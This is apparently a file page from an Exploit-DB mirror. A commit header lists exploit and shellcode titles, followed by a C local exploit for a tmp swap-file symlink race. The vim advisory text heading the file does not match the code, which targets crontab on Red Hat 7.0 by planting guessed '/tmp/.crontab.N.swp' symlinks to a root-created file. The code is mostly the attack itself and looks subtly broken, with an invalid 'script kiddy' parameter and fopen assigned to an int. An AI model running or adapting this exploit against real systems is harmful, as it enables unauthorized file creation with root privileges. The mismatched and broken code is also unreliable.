exploit-db-mirror/exploits/linux/local/20967.c
Offensive Security 880bbe402e DB: 2019-03-08
14991 changes to exploits/shellcodes

HTC Touch - vCard over IP Denial of Service

TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities

PeerBlock 1.1 - Blue Screen of Death

WS10 Data Server - SCADA Overflow (PoC)

Symantec Endpoint Protection 12.1.4013 - Service Disabling
Memcached 1.4.33 - 'Crash' (PoC)
Memcached 1.4.33 - 'Add' (PoC)
Memcached 1.4.33 - 'sasl' (PoC)
Memcached 1.4.33 - 'Crash' (PoC)
Memcached 1.4.33 - 'Add' (PoC)
Memcached 1.4.33 - 'sasl' (PoC)

Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow

man-db 2.4.1 - 'open_cat_stream()' Local uid=man

CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation

CDRecord's ReadCD - Local Privilege Escalation
Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH)
FreeBSD - Intel SYSRET Privilege Escalation (Metasploit)

CCProxy 6.2 - 'ping' Remote Buffer Overflow

Savant Web Server 3.1 - Remote Buffer Overflow (2)

Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow

Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow
QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit)
Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit)
Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit)
Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass)
TeamCity < 9.0.2 - Disabled Registration Bypass
OpenSSH SCP Client - Write Arbitrary Files
Kados R10 GreenBee - Multiple SQL Injection
WordPress Core 5.0 - Remote Code Execution
phpBB 3.2.3  - Remote Code Execution

Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator)
Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
2019-03-08 05:01:50 +00:00

86 lines
No EOL
2.8 KiB
C

/*
source: https://www.securityfocus.com/bid/2927/info
Vim is an enhanced version of the popular text editor vi.
A race condition vulnerability exists in the swap file mechanism used by the 'vim' program. The error occurs when a swap file name for a file being opened is symbolically linked to a non-existent file.
By conjecturing the name of a file to be edited by another user, it may be possible for a local user to create a malicious symbolic link to a non-existent file. This could cause the new target file to be created with the permissions of the user running vim.
*/
/*******************************************************************
Crontab tmp file race condition
http://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=37771
Apparently this is fixed. Wonder why it still works.
-- zen-parse
Local exploit
Quick and dirty exploit for crontab insecure tmp files
Redhat 7.0 - kept up2date with up2date
Checked Tue Jun 26 00:15:32 NZST 2001
-rw------- 1 root root 4096 Jun 26 00:15 evil
Requires root to execute crontab -e while the program is
running.
Not really likely to be too big of a problem, I hope.
Could possibly be useful with the (still unpatched)
makewhatis.cron bug.
/*******************************************************************
#define SAFER [1000]
/*******************************************************************/
int shake(int script kiddy)
{
int f;
char r SAFER;
int w;
f=fopen("/proc/loadavg","r");
fscanf(f,"%*s %*s %*s %*s %s",r);
fclose(f);
w=atoi(r);
return w;
}
main(int argc,char *argv[])
{
int p;
char v SAFER;
sprintf(v,"/tmp/.crontab.%d.swp",shake());
symlink("/evil",v);
while(access("/evil",0))
{
for(p=-30;p<0;p++)
{
sprintf(v,"/tmp/.crontab.%d.swp",shake()-p);
symlink("/evil",v);
}
sprintf(v,"/tmp/.crontab.%d.swp",shake()-p);
unlink(v);
}
for(p=-100;p<0;p++)
{
sprintf(v,"/tmp/.crontab.%d.swp",shake()-p);
unlink(v);
}
}
/*****************************************************************
** *** * ** ********* ***********************
** * * ** ****** ******* ** **********************
** * ** ** ******** ******* *** ********
** * * * ******* ******* ****** * * * * *******
** *** * *********** ** ** ** * * * * * *******
** *** * ****** *** *** *** ** **** *******
*****************************************************************/
//
// xxxx xxx xxx x x
// xx x x x x x
// xx x x xxx x x
// xx x x x x x
// xxxx xxx xxx x